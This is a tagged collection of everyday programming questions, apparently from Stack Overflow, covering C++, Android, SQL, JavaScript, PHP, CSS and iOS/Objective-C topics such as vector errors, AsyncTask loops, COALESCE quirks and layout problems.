taking 2d vector out of 3d vector and replace with other 2d-vector  i want to save for an game my 2d-vector <code>std::vector&lt;std::vector&lt;std::string&gt;&gt; _map</code> in an 3d-vector <code>std::vector&lt;std::vector&lt;std::vector&lt;std::string&gt;&gt;&gt; _save</code> with:    <pre><code>_save.push_back(_map); </code></pre>   later i want (if condition) replace my 2d-vector by the last-saved 2d-vector in my 3d-vector and then delete the last-saved 2d-vector. my code is:    <pre><code>std::vector&lt;std::vector&lt;std::string&gt;&gt; map2; int var = _save.size() -1; // tried with _save.back() too map2.push_back(_save[var]); _save.pop_back(); _map.swap(map2); </code></pre>   what am i doing wrong  what should it look like  thank you for your help.    following error:   <pre><code>structure.cpp: in member function ‘void structure::undo(bool)’: structure.cpp:69:30: error: no matching function for call to ‘std::vector&lt;std::vector&lt;std::basic_string&lt;char&gt; &gt; &gt;::push_back(__gnu_cxx::__alloc_traits&lt;std::allocator&lt;std::vector&lt;std::vector&lt;std::basic_string&lt;char&gt; &gt; &gt; &gt; &gt;::value_type&amp;)’      map2.push_back(_save[var]);                               ^ structure.cpp:69:30: note: candidates are: in file included from /usr/include/c++/4.9/vector:64:0                   from structure.cpp:6: /usr/include/c++/4.9/bits/stl_vector.h:913:7: note: void std::vector&lt;_tp  _alloc&gt;::push_back(const value_type&amp;) [with _tp = std::vector&lt;std::basic_string&lt;char&gt; &gt;; _alloc = std::allocator&lt;std::vector&lt;std::basic_string&lt;char&gt; &gt; &gt;; std::vector&lt;_tp  _alloc&gt;::value_type = std::vector&lt;std::basic_string&lt;char&gt; &gt;]        push_back(const value_type&amp; __x)        ^ /usr/include/c++/4.9/bits/stl_vector.h:913:7: note:   no known conversion for argument 1 from ‘__gnu_cxx::__alloc_traits&lt;std::allocator&lt;std::vector&lt;std::vector&lt;std::basic_string&lt;char&gt; &gt; &gt; &gt; &gt;::value_type {aka std::vector&lt;std::vector&lt;std::basic_string&lt;char&gt; &gt; &gt;}’ to ‘const value_type&amp; {aka const std::vector&lt;std::basic_string&lt;char&gt; &gt;&amp;}’ /usr/include/c++/4.9/bits/stl_vector.h:931:7: note: void std::vector&lt;_tp  _alloc&gt;::push_back(std::vector&lt;_tp  _alloc&gt;::value_type&amp;&amp;) [with _tp = std::vector&lt;std::basic_string&lt;char&gt; &gt;; _alloc = std::allocator&lt;std::vector&lt;std::basic_string&lt;char&gt; &gt; &gt;; std::vector&lt;_tp  _alloc&gt;::value_type = std::vector&lt;std::basic_string&lt;char&gt; &gt;]        push_back(value_type&amp;&amp; __x)        ^ /usr/include/c++/4.9/bits/stl_vector.h:931:7: note:   no known conversion for argument 1 from ‘__gnu_cxx::__alloc_traits&lt;std::allocator&lt;std::vector&lt;std::vector&lt;std::basic_string&lt;char&gt; &gt; &gt; &gt; &gt;::value_type {aka std::vector&lt;std::vector&lt;std::basic_string&lt;char&gt; &gt; &gt;}’ to ‘std::vector&lt;std::vector&lt;std::basic_string&lt;char&gt; &gt; &gt;::value_type&amp;&amp; {aka    std::vector&lt;std::basic_string&lt;char&gt; &gt;&amp;&amp;}’ makefile:28: recipe for target  structure.o  failed make: *** [structure.o] error 1 </code></pre>,c++
need advice new asynctask recursive calling  i need advice is this solution acceptable and not cause  overflow   i update data which read with asynctask  after asynctask finished i need to update again and again. is this solution acceptable and safe   <pre><code>private class downloadfilestask extends asynctask&lt;url integer com.ring_view.www.json.system&gt; {      @override     protected com.ring_view.www.json.system doinbackground(url... params) {         int count = params.length;          url temp=params[0];          system system=null;         try {             system = communicator.getsystem(temp);         } catch (loggingconnectionexception e) {             // todo auto-generated catch block             e.printstacktrace();         } catch (jsonparsingerrorexception e) {             // todo auto-generated catch block             e.printstacktrace();         }           return system;     }       protected void onprogressupdate(integer... progress) {          //setprogresspercent(progress[0]);      }       protected void onpostexecute(com.ring_view.www.json.system result) {          txtworkallowedvalue.settext(result.work_allowed);          try {             new downloadfilestask().execute(new url( http://test/status-system.json ));         } catch (malformedurlexception e) {             // todo auto-generated catch block             e.printstacktrace();         }      }   } </code></pre>   i first time call new downloadfilestask().execute(new url( http://test/status-system.json )); in ovcreate method and it works fine in emulator. is this safe or there is some more elegant solution,android
sql: looking for translation practice  i have to take an t-sql exam. i will be given a real world scenario and i will need to design a database schema (small number of tables) that will help answer some questions (writing sql statements) about that scenario.    i m a dot net developer. read a good book on sql.    i m looking a web-site in which there are many examples (with vary difficulties) of english statments and thier sql translation. i intend to write my sql translation aside and compare it with the right one from the site.    any other site that can help prepare for this test  would be appreciated.    thanks!,sql
javascript return item within return  i would like to structure my app like this:   <pre><code>app.open = (function ($) {   return {     people: function() {       return {          gender: function() {}           age: function() {}       }     }   }; }(jquery)); </code></pre>   i can get <code>app.open.people()</code>  but when i do: <code>app.open.people.gender();</code> i get <code>undefined</code>.,javascript
using coalesce to set initial value of variable in query  excuse me if this has already been asked  but searching for coalesce brings up a bunch of results that don t help me ...    in mysql  i m trying to use coalesce to set an initial value for a variable that is set with an expression that depends on the existing value. i d really like to do it with one statement  but i m having a problem where the value that comes back from coalesce when the variable is null doesn t seem to  stick  and i get the initial value every time. the weird thing  if i set the variable initially to null  it works as expected.     consider this query:   <pre><code>select @y := coalesce(@y+1  5) from table limit 5; </code></pre>   it returns:   <pre><code>5 5 5 5 5  </code></pre>   but this:   <pre><code>set @z = null; select @z := coalesce(@z+1  5) from table limit 5; </code></pre>   returns what i expect:   <pre><code>5 6 7 8 9 </code></pre>   is this a bug or expected behavior  is the solution to just initially set the variable to null,mysql
refer to key in value when creating object in javascript  is there any syntax to do something like the following   <pre><code>var obj = {a: this  b: this} </code></pre>   and get   <pre><code>obj = {a:  a   b:  b } </code></pre>,javascript
php class member array being inappropriately cached  let s say i have the following:   <pre><code>&lt; php class myclass {   public $validthings = array( stuff );    //checks to see if $input is in the array $validthings   public function valid($input) {     return is_int(array_search($input  $this-&gt;validthings);   } } </code></pre>   we would expect the following:   <pre><code>$myclassinstance-&gt;valid( stuff );//finds  stuff  $myclassinstance-&gt;valid( things );//doesn t find  things  </code></pre>   now lets say that i change the code for the initialization of $validthings to:   <pre><code>public $validthings = array( stuff    things ); </code></pre>   we would expect:   <pre><code>$myclassinstance-&gt;valid( stuff );//finds  stuff  $myclassinstance-&gt;valid( things );//finds  things  </code></pre>   the behavior i m seeing  though  is that the second call still won t find  things . i suspect this has something to do with how php is cached  but i don t know what specifically. it is highly reproducible: i can change the array any which way in code  and so long as i don t modify that member variable within a function call it will hold onto the original value... <em>even across apache hard restarts</em>.    has anyone seen this who can explain the behavior     to clarify a point: there is some form of caching behavior going on here that has to do with some implementation detail of php or caching around php. this is not a code bug; it is merely a behavior revealed by this code. also  we re using <a href= http://pecl.php.net/package/hidef  rel= nofollow >hidef</a>  which may be a salient detail and php 5.2.10,php
when i try to select 1 row it selecting both rows into my database  <pre><code> select * from addcuust order by customer asc ;  </code></pre>   this is my query . when  i run this query both rows selecting what should i do  i just want 1 row at once.,php
checking input hex msg s 3rd position --> in c prog  i need idea about my program  checking input hex msg s 3rd position    <ol> <li>the program will take an input message in hex value. e.g. 0x0123456789abcdef</li> <li>program will check the 3rd position of input message i.e. 0</li> <li>now program will take another input message in hex value. e.g. 0x123456789abcdef0  <ul> <li>here program will check the 3rd position of input message i.e. 1</li> </ul></li> <li>program will take another input message in hex value. e.g. x23456789abcdef10  <ul> <li>here program will check the 3rd position of input message i.e. 2</li> </ul></li> <li>program will take another input message in hex value. e.g. 0x3456789abcdef210  <ul> <li>here program will check the 3rd position of input message i.e. 3</li> </ul></li> </ol>   the process must be done 18 times.     every time program will check the 3rd position of the input message. if the 3rd position of input message is an increment e.g. 1st input message s 3rd position is 0  2nd input message s 3rd position is 1  3rd input message s 3rd position is 2 and so on. then program will continue with tacking input messages and check the 3rd position of input message.    if the 3rd position of input message is not increment e.g. 3rd input message s 3rd position is not 2 then program will send a message and stop.     i tried to write the program but it does not work.   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  int main() {         char a[18]  b[18]  c[18]  d[18] e[18]  f[18]  g[18]  h[18];     char value;     char hexmsg[18]  nextmsg[18]; /// ={0x0123456789abcdef};      printf(  write the hexmsg \n );      gets(hexmsg);      printf(  \n the alive counter is %c \n  hexmsg[2]);     printf(  write the first message \n );      gets(nextmsg);      value= value+hexmsg[2];      int i;     i=value;      while(i&lt;18){             if(i==nextmsg[2]){                 printf( ok );                    printf(  write the nextmsg \n );              gets(nextmsg);              i++;         }else{             printf( not ok );              break; // --&gt; break must to stop the while loop         }      }         return 0; } </code></pre>,c
run time vs compile time (.net)  .net compilation has two phases   <ul> <li> 1 . compilation to il code. </li> <li> 2 . jit compilation to native code. </li> </ul>   can both these stages can be categorized as compile time  or does the jit compilation to native code comes under runtime       in terms of error  if an error occurs at the phase two  is it a run time error  (any error that occurs after the phase 2 ie  when the native code is actually executed should be a run time error ),.net
android  what can i do with that listener i click on the button and doesnt responce  i don t know what is wrong with that code ..the emulator works but the button does not work with the listener.i did everything i cleaned the project and also i made a listener and it supposed to work.   <pre><code>package com.example.dialog;  import android.os.bundle; import android.view.view;  import android.widget.toast;  import android.app.activity; import android.app.alertdialog; import android.app.alertdialog.builder; import android.app.dialog; import android.content.dialoginterface;  public class mainactivity extends activity {     charsequence[] items = {  goolge    apple    mac os  };     boolean[] checkeditems = new boolean[items.length];      @override     protected void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.activity_main);         // button btn= (button)findviewbyid(r.id.dialog);         // btn.setonclicklistener((onclicklistener) this);     }      public void onclick(view v) {         showdialog(0);      }      protected dialog oncreatdialog(int id) {         switch (id) {         case 0 :             builder builder = new alertdialog.builder(this);             builder.seticon(r.drawable.ic_launcher);             builder.settitle( this is a list of items.. );             builder.setnegativebutton( ok                       new dialoginterface.onclicklistener() {                          @override                         public void onclick(dialoginterface arg0  int arg1) {                             toast.maketext(getbasecontext()   ok clicked                                       toast.length_short).show();                          }                     });             builder.setpositivebutton( cancel                       new dialoginterface.onclicklistener() {                          @override                         public void onclick(dialoginterface dialog  int which) {                             toast.maketext(getbasecontext()   cancel cliked                                       toast.length_short).show();                          }                     });             builder.setmultichoiceitems(items  checkeditems                      new dialoginterface.onmultichoiceclicklistener() {                          @override                         public void onclick(dialoginterface dialog  int which                                  boolean ischecked) {                             toast.maketext(                                     getbasecontext()                                      items[which]                                             + (ischecked     checked                                                      :   unchecked )                                      toast.length_short).show();                          }                     });             return builder.create();          }          return null;      }  }   &lt;relativelayout xmlns:android= http://schemas.android.com/apk/res/android      xmlns:tools= http://schemas.android.com/tools      android:layout_width= match_parent      android:layout_height= match_parent      tools:context= .mainactivity  &gt;            &lt;button             android:id= @+id/dialog              android:layout_width= fill_parent              android:layout_height= wrap_content              android:onclick= onclick              android:text= @string/click_me  /&gt;    &lt;/relativelayout&gt; </code></pre>,android
running iphone apps while in sleep mode  as of iphone os 3.0  motionx gps is able to keep recording a gps track while in sleep mode. after you push the sleep button on top of the phone  the app continues receiving gps coordinates and recording them. does anyone know how they re able to do this  i m only aware of the method to keep running audio while in sleep mode.,iphone
what is the next step after server responds user has logged in from my api  i ve made an api for my ios application where users can login and register. now the api is ready  and gives responses to my application  where i need to do stuff with.    how do i handle the response from the server when the user is logged in  the server sends <code> userloggedin </code> in an <code>nsstring</code>.    do i need to make a singleton class for this  where i store a boolean with <code>userloggedin</code> and their password and username for when the user opens the app again after shutting it down  so the user will still be logged in. and when the user presses logout  the credentials will be deleted from the singleton class. or isn t this the way i should go     kind regards,ios
kvo with two uibuttons  i have a custom uitableviewcell subclass that gets presented in a uitableview in a uipopovercontroller.  the uipopovercontroller is presented from a uibarbuttonitem.    when selections in the uitableviewcell are made  i send a nsnotification to the uiviewcontroller class that is presenting the uipopovercontroller.  the selections in the table update my view in my viewcontroller.      now  there is a requirement to have another uibarbuttonitem that does exactly the same thing as one of the buttons in the uitableviewcell in the popover.  basically the use case is that this feature seems to be the most commonly used feature in our popover and they want an easy way to just turn it on and off from another button.    so what i did was create a new uibarbuttonitem  and have a target attached to it:    <pre><code>- (void)filteron:(id)sender {     isfilteron = !isfilteron;     if ([sender iskindofclass:[uibarbuttonitem class]]) {         uibarbuttonitem *filter = (uibarbuttonitem *)sender;         if (isfilteron) {             [filter settitle:@ filter on ];             [self dofilter];         }         else {             [aboutmebbi settitle:@ filter off ];             [self clearfilter];         }      } } </code></pre>   so this part works.  it updates the model  the title of the button changes.  the problem is  let s say i turn filter on  then in the popover  i turn the filter off.  i pass the notification to my viewcontroller class to its normal update method that handles filtering and a bunch of other stuff.  i added this simple snippet to when the filter button is pressed from the popover:   <pre><code>- (void)filtersortoptiondidselect:(nsnotification *)notification {     nsdictionary *userdict = [notification userinfo];     nsinteger thetag = [[userdict objectforkey:@ celltag ] integervalue];      switch (thetag) {         case filter: {                 // update model                 [self.filterbarbuttonitem settitle:@ filter off ];             }             break;         default:             break;     } } </code></pre>   this isn t quite what i want though since if i click back on the filter button since for starters  if i click back on the filter button  it ll still say filter off  and do the action for filter off  and then if i click it again  it ll do filter on actions.  i try to fake it in the switch statement by changing the title  but that isn t really what i want to do.  i read a little about key value observing and i wasn t sure if i could use something like that here  to register my buttons state with that of a button in a uitableviewcell subclass in a uipopovercontroller.  if anyone has any ideas that would be great.  thanks.,iphone
objective-c nsstring reference types  i have a simple question. if i am declaring nsstring (ref type) as shown below:    <pre><code> nsstring *johnsmoney = @ 200 ;     nsstring *marysmoney = johnsmoney;      nslog(@ johns money %@  johnsmoney);     nslog(@ marys money %@  marysmoney);      johnsmoney = @ 100 ;     nslog(@ johns money %@  johnsmoney);     nslog(@ marys money %@  marysmoney); </code></pre>   the output produced is this:    <pre><code> johns money 200  marys money 200  johns money 100  marys money 200 </code></pre>   from my understanding when i assign @ 100  to johnsmoney should it not also change the value of  marysmoney  to 100 since marysmoney is pointing to johnsmoney.     <strong>update:</strong>     i believe the following example shows what i initially was trying to do:    <pre><code>dog *dog1 = [[dog alloc] init]; dog1.name = @ dog 1 ;  dog *dog2 = dog1;  nslog(@ dog 1 %@  dog1.name); nslog(@ dog 2 %@  dog2.name);  dog1.name = @ dog 3 ;  nslog(@ dog 1 %@  dog1.name); nslog(@ dog 2 %@  dog2.name); </code></pre>,objective-c
what is the most efficient way to get a random odd or even number   so off the top of my head  i can think of a few solutions (focusing on getting random odd numbers for example):   <pre><code>int n; while (n == 0 || n % 2 == 0) {     n = (arc4random() % 100); } </code></pre>   eww.. right   not efficient at all..   <pre><code>int n = arc4random() % 100); if (n % 2 == 0) n += 1; </code></pre>   but i don t like that it s always going to increase the number if it s not odd..  maybe that shouldn t matter   another approach could be to randomize that:   <pre><code>int n = arc4random() % 100); if (n % 2 == 0) {     if (arc4random() % 2 == 0) {        n += 1;     else {        n -= 1;     }  } </code></pre>   but this feels a little bleah to me..  so i am wondering if there is a better way to do this sort of thing,objective-c
iphone app hangs in appdelegate ( )  no nib/ib  so i ve inserted  myappdelegate  in main and deleted the reference to main.xib in info.plist. debug continues nicely through all five tab controllers; they seem to have gotten properly loaded into the nav controller.  in fact  control passes out of the last  }  in applicationdidfinishlaunching.  but there was no (visible) response back at [window addsubview:[tabbarcontroller view]]; and [window makekeyandvisible]; statements  much less to the loadview within the first tab (program execution never gets there).  the last line is  uiapplication _performinitializationwithurl:sourcebundleid:].  i missed a step  i executed a step improperly,iphone
reading iphone udid through safari  i am trying to read iphone udid through safari browser and below address is a manual how to make it hapeen.    <a href= http://developer.apple.com/library/ios/#documentation/networkinginternet/conceptual/iphoneotaconfiguration/profile-service/profile-service.html#//apple_ref/doc/uid/tp40009505-ch2-sw26  rel= nofollow >http://developer.apple.com/library/ios/#documentation/networkinginternet/conceptual/iphoneotaconfiguration/profile-service/profile-service.html#//apple_ref/doc/uid/tp40009505-ch2-sw26</a>    i thought i should use some kind of php but  the language that they describe is not php.    here is the one of the codes.   <pre><code>world.mount_proc( /enroll ) { |req  res| httpauth.basic_auth(req  res   realm ) {|user  password|     user ==  apple  &amp;&amp; password ==  apple  }  res[ content-type ] =  application/x-apple-aspen-config  configuration = profile_service_payload(req   signed-auth-token ) signed_profile = openssl::pkcs7.sign(@@ssl_cert  @@ssl_key           configuration  []  openssl::pkcs7::binary) res.body = signed_profile.to_der  } </code></pre>   i have no idea what kind of language is this.    can you tell me what it is,iphone
how the set height of a selection box drop down   i have 2 selection boxes states and cities  on state selection change i am writing a java script to display cities of that respective state by hiding rest of the cities. the problem is  height of the selection box dropdown is getting effected in chrome where as its appearing fine in firefox.    <img src= https://i.stack.imgur.com/btpde.png  alt= this is how its appearing in chrome >    <img src= https://i.stack.imgur.com/ygcnl.png  alt= this is how its appears in firefox >    is there a quick and proper solution for this,html
average word length for a sentence  i want to calculate average word length for a sentence.    for example  given input <code>abc def ghi</code>  the average word length would be <code>3.0</code>.    the program works but i want to ignore extra spaces between the words. so  given the following sentence:   <pre><code>abc  def </code></pre>   (two spaces between the words)  the average word length is calculated to be <code>2.0</code> instead of <code>3.0</code>.    how can i take into account extra spaces between words  these are to be ignored  which would give average word length of <code>3.0</code> in the example above  instead of the erroneously calculated <code>2.0</code>.   <pre><code>#include &lt;stdio.h&gt; #include &lt;conio.h&gt;  int main() { char ch temp; float avg; int space = 1 alphbt = 0 k = 0;  printf( enter a sentence:  );  while((ch = getchar()) !=  \n ) {     temp = ch;      if( ch !=    )     {        alphbt++;        k++;         // to ignore spaces before first word!!!     }       else if(ch ==     &amp;&amp; k != 0)        space++;  }  if (temp ==    )    //to ignore spaces after last word!!!    printf( average word lenth: %.1f  avg = (float) alphbt/(space-1)); else    printf( average word lenth: %.1f  avg = (float) alphbt/space);  getch(); }                </code></pre>,c
"subtract only if amount was added  i am getting a base price via ajax and then i have two (bootstrap) radio buttons to let the user add extras which says  yes  and  no . so right now  when i m getting the base price and click on  no  on one of the radio buttons  it subtracts from the base price rather than keep the price same.     case 1: when the user clicks  yes   extra price is added to the base price and when the user changes mind and selects  no   the extra price (which was added) is subtracted from the base price. this is working as it should.    case 2: when the user clicks  no  after getting the price  it should keep the price same. what is happening currently is that the extra price is getting subtracted from the base price  if the user selects  no  first.     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>var price = 550;
  var price_container = $( .price_container );
 
  $( input[type=radio][name=lids_check ).change(function() {
 
    //alert( this works! )
    var lid_price = 50;
 
    var modifier = (this.value ==  yes )   1 : -1;
 
    price = parsefloat(price) + (modifier * parsefloat(lid_price));
 
    console.log(price);
    price_container.html(price);
 
 
  });
 
  $( input[type=radio][name=extras_check ).change(function() {
 
    var extras_price = 200;
 
    var modifier = (this.value ==  yes )   1 : -1;
 
    price = parsefloat(price) + (modifier * parsefloat(extras_price));
 
    console.log(price);
    price_container.html(price);
  });</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;script src= https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js &gt;&lt;/script&gt;
 &lt;link href= https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css  rel= stylesheet /&gt;
 &lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js &gt;&lt;/script&gt;
 &lt;label class= col-sm-2 col-form-label &gt;base price&lt;/label&gt;
 &lt;span&gt;550&lt;/span&gt;
 &lt;br&gt;
 &lt;label class= col-sm-2 col-form-label &gt;lids&lt;/label&gt;
 &lt;div class= col-sm-4 btn-group btn-group-toggle  data-toggle= buttons &gt;
   &lt;label class= btn btn-secondary &gt;
     &lt;input type= radio  name= lids_check  id= lids_checkyes  autocomplete= off  value= yes &gt; yes
   &lt;/label&gt;
   &lt;label class= btn btn-secondary &gt;
     &lt;input type= radio  name= lids_check  id= lids_checkno  autocomplete= off  value= no &gt; no
   &lt;/label&gt;
 &lt;/div&gt;
 &lt;br&gt;
 &lt;label class= col-sm-2 col-form-label &gt;extras&lt;/label&gt;
 &lt;div class= col-sm-4 btn-group btn-group-toggle  data-toggle= buttons &gt;
   &lt;label class= btn btn-secondary &gt;
     &lt;input type= radio  name= extras_check  id= extras_checkyes  autocomplete= off  value= yes &gt; yes
   &lt;/label&gt;
   &lt;label class= btn btn-secondary &gt;
     &lt;input type= radio  name= extras_check  id= extras_checkno  autocomplete= off  value= no &gt; no
   &lt;/label&gt;
 &lt;/div&gt;
 &lt;br&gt;
 &lt;label class= col-sm-2 col-form-label &gt;price&lt;/label&gt;
 &lt;span class= price_container &gt;&lt;/span&gt;</code></pre>
 </div>
 </div>",jquery
dynamic div that grows with content but starts filling whole page  thanks in advance. right now i have a problem with  content  and  footer  which are in  wrapper . here are the stylings for these.   <pre><code>#content {     width: 100%;    min-height: 100%;    position: relative;    background-color: #b2b2b2;  }  #footer {     width: 100%;    min-height: 40px;    position: relative;    bottom: 0;    background-color: #e23e23;  }  #wrapper {     width: 100%;    height: 100%;    background-color: green;    position: fixed;    top: 0;    left: 0;  } </code></pre>   this is all good except i want content to take up the rest of the height of the page (except footer). any method i use to do this makes it so that if i overfill content  the content goes past and under footer.    in other words i want content and footer to take up the height of the window but if content is overfilled it should push the footer down and create a scroll bar.    can this be done with css and if not how do i do it with js,css
why does this javascript helper return back an array  <pre><code>function(obj){  if(obj == undefined || obj == null){    return   ; }    var id = obj.match(/\d+$/);    return id ||   ; } </code></pre>   i have a dom element that looks like:   <pre><code>id= some-text-123  </code></pre>   and i want the  123  part of the id to be returned when calling the above function.    other elements might be like:   <pre><code>id= 123  id= some-123  id= some-ting-else-1  </code></pre>   i called this on an element that looked like  some-text-213     and it seemed to return an array  i just want the id returned.,javascript
how to access elements of a gridview  i have a asp buttonfield in a asp:gridview as follows   <pre><code>&lt;asp:buttonfield buttontype= button  commandname= select  headertext= view  showheader= true  text= view  /&gt; </code></pre>   how do i access this element and give it some functionality(meaning  when i click the button  i want it to do something and not stare at me !)    thanks in advance,asp.net
jquery .html function  i am using the jquery .get to load the contents of a page. the page loads okay and the ouput is stored in a variable data. i only want to grab a specific div with the id of  result1  out of that data variable and place it on the page. i am having trouble parsing this specific element from the variable data  it seems that all elements are being placed on the page. i think this is an easy fix but its driving me crazy.    here is the base code without any parsing attempts:   <pre><code>$.get( test.php id=  + $(this).attr( id ) +  &amp;auth=1   function(data){         $( #details1 ).html(data);   }); </code></pre>   here is the results of data:   <pre><code>&lt;div id= result1 &gt; &lt;table&gt; &lt;tr&gt; &lt;td&gt;testa&lt;/td&gt; &lt;td&gt;testb&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;/div&gt;  &lt;div id= result2 &gt; &lt;table&gt; &lt;tr&gt; &lt;td&gt;testc&lt;/td&gt; &lt;td&gt;testd&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;/div&gt; </code></pre>,jquery
implement a sticky header like on uitableview  i would like to have a view that scrolls. the view would have a header  which would initially take about a third of the screen. while the user scrolls  the header will start to get off screen  but once there is about 50px left  i would like the header to stick and the rest of the screen would still scroll... any idea would be helpful  i m more looking about methods than actual code. here is an ascii art representation of what i m trying to do :   <pre><code>+-------------+   +-------------+   +-------------+   +-------------+   +-------------+ | ###         |   | ##          |   | #           |   | #           |   | #           | | ##          |   | #           |   |-------------|   |-------------|   |-------------| | #           |   |-------------|   | 1. lorem    |   | 2. lorem    |   | 3. lorem    | |-------------|   | 1. lorem    |   | 2. lorem    |   | 3. lorem    |   | 4. lorem    | | 1. lorem    |   | 2. lorem    |   | 3. lorem    |   | 4. lorem    |   | 5. lorem    | | 2. lorem    |   | 3. lorem    |   | 4. lorem    |   | 5. lorem    |   | 6. lorem    | | 3. lorem    |   | 4. lorem    |   | 5. lorem    |   | 6. lorem    |   | 7. lorem    | | 4. lorem    |   | 5. lorem    |   | 6. lorem    |   | 7. lorem    |   | 8. lorem    | | 5. lorem    |   | 6. lorem    |   | 7. lorem    |   | 8. lorem    |   | 9. lorem    | | 6. lorem    |   | 7. lorem    |   | 8. lorem    |   | 9. lorem    |   | a. lorem    | | 7. lorem    |   | 8. lorem    |   | 9. lorem    |   | a. lorem    |   | b. lorem    | +-------------+   +-------------+   +-------------+   +-------------+   +-------------+ </code></pre>,ios
c++ .exe ignores classes  only running main (beginner)  it s only running main  the output  enter a word  but completely ignores the objects/class    i m a newb  sorry if this is an inappropriately easy question. this happens on both release and debug mode   <pre><code>#include &lt;iostream&gt;  using namespace std;  class wordgame { public:      void setword( string word )     {         theword = word;     }     string getword()     {         return theword;     }     void displayword()     {         cout &lt;&lt;  your word is   &lt;&lt; getword() &lt;&lt; endl;     } private:     string theword; };   int main() {     cout &lt;&lt;  enter a word  &lt;&lt; endl;     string aword;     wordgame thegame;     cin &gt;&gt; aword;     thegame.setword(aword);     thegame.displayword();  } </code></pre>,c++
is using a property protecting the setter and the getter   if im declaring a class with property for example:   <pre><code>@property float radius  diameter; </code></pre>   so any object that will be created in this class or inherits from it  will have its own instance of <code>radius</code> and <code>diameter</code> right     and this is also mean that they have their own setter and getter too right     what i m trying to fully understand is how do i deal with variable access in 2 ways:    1.when i want to make sure the user is not messing with the original value.    2.when i want to limit the users for instance variables he can get access and ones that he can not.    tnx,objective-c
css cursor:pointer won t register and neither will width or height  my css:   <pre><code>.uploadify {     position: relative;     margin-bottom: 1em;      width:264px;     height:54px;     cursor:pointer; } </code></pre>   this should make the div on the attached html file (which has been saved as it is only accessibly by administrators of my site) the specified size  but it doesn t for some reason. how can i override this  also my <code>cursor:pointer</code>s on other divs that are being hovered on aren t registering    <a href= http://client.henrybuilt.com/upload%20download%20files.htm  rel= nofollow >http://client.henrybuilt.com/upload%20download%20files.htm</a>,css
joining on dates which are in between two entries  i have the following two tables:    <code>delivery as t1</code>   <pre><code>date                driver_id  2016-01-01 13:44:22  32 2016-01-02 13:14:58  32 2016-03-05 13:14:55  32 </code></pre>   <code>delivery</code> table has records when delivery pickup takes place.    and     <code>driver_dispatch_history as t2</code>   <pre><code>date                driver_id  dispatch_id  2016-01-01 19:12:23  32         4 2016-01-07 11:16:58  32         3 2016-03-06 13:14:55  32         7 2016-03-06 16:54:12  33         8 </code></pre>   <code>driver_dispatch_history</code> table tracks when driver was assigned to dispatch     my main goal is to <code>join t1.date=t2.date and t1.driver_id=t2.driver_id</code>to get <code>driver_id</code>    <strong>the problem:</strong> history table is not tracking assignments on daily basis  but rather uses intervals. if i assigned driver to dispatch one month ago  it will have only one entry. if i change dispatch for that driver today  it will add another entry as of today  also  if i change dispatch more than once  it will add multiple entries for the same day with different timestamps and i need to match delivery times in between assignments.    <strong>question:</strong> while inner join is not a problem  i can t figure out the solution to fulfil the logic i outlined above.    <pre><code>select   t1.date  t1.driver_id  t2.dispatch_id from   delivery as t1 inner join   driver_dispatch_history as t2   on t1.date=t2.date     and       t1.driver_id=t2.driver_id </code></pre>   <em>assuming that driver_id and dispatch_id are matching  and there could be many deliveries</em>    <a href= https://i.stack.imgur.com/7egdi.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/7egdi.jpg  alt= enter image description here ></a>,mysql
set width of td to auto   i have a a <code>td</code> with an inline style setting its <code>width</code> as a percentage. i can modify the css but not the html.     how can i make the <code>td</code> only take up the width required by its contents      the following css doesn t work:     <pre><code>td#my  {     width: auto !important; } </code></pre>,css
dismissmodalviewcontrolleranimated is deprecated first deprecated in ios 6  i have just updated ios 6  and run my old code  which is created in ios 4.3. they give me number of warnings in my application.    i used <code>presentmodelviewcontroller:</code> and then i dismiss it  but it gave me warning   <blockquote>    dismissmodalviewcontrolleranimated is deprecated first deprecated in ios 6.  </blockquote>   why they show warning to that code  here is the code:   <pre><code>[picker dismissmodalviewcontrolleranimated:yes]; </code></pre>   this line gets yellow and show the error. please give me guideline to remove the warning.,iphone
convert char to wchar_t  in the following code how do i read <em>path1</em> and <em>path2</em> from arguments(<code>argv</code>)  how do i convert <code>argv[1]</code> and <code>argv[2]</code> to wide string format so that it s possible to use them as <code>_wrename</code> arguments    <pre><code>int main(int argc  const char *argv[]) {   const wchar_t path1[] = l /tmp/a ;   const wchar_t path2[] = l /tmp/b ;   _wrename(path1  path2);   return 0; } </code></pre>,c++
how do apple s objects show properties in their description  and can i do the same   i have an object with two properties - <code>type</code> and <code>name</code> - which i want to show in its <code>description</code>.  the out-of-the-box description looks like this:   <pre><code>&lt;sgbmessage: 0x7663bb0&gt; </code></pre>   if i override <code>description</code>  like so:   <pre><code>return [nsstring stringwithformat:@ &lt;%@: %x type:%@ name%@&gt;               [self class]  (int)self  self.type  self.name]; </code></pre>   then i can get a nice description like this:   <pre><code>&lt;sgbmessage: 0x7663bb0 type:loadscreen name:mainscreen&gt; </code></pre>   so far  so good.  but apple s objects have dynamic descriptions; if i look at a view s description i get this:   <pre><code>&lt;uiview: 0x767bcb0; frame = (0 0; 0 0); layer = &lt;calayer: 0x767bd50&gt;&gt; </code></pre>   but if i set hidden to true  i get this:   <pre><code>&lt;uiview: 0x767bcb0; frame = (0 0; 0 0); hidden = yes;  layer = &lt;calayer: 0x767bd50&gt;&gt; </code></pre>   now  i don t believe for a second that they ve got a massive set of if statements in the <code>description</code> methods of all of their objects; it seems much more likely that there s some method in some category somewhere on nsobject that can be overridden to specify which properties show up in the description.  does anyone know what s really going on  and if so  is it something i can take advantage of,objective-c
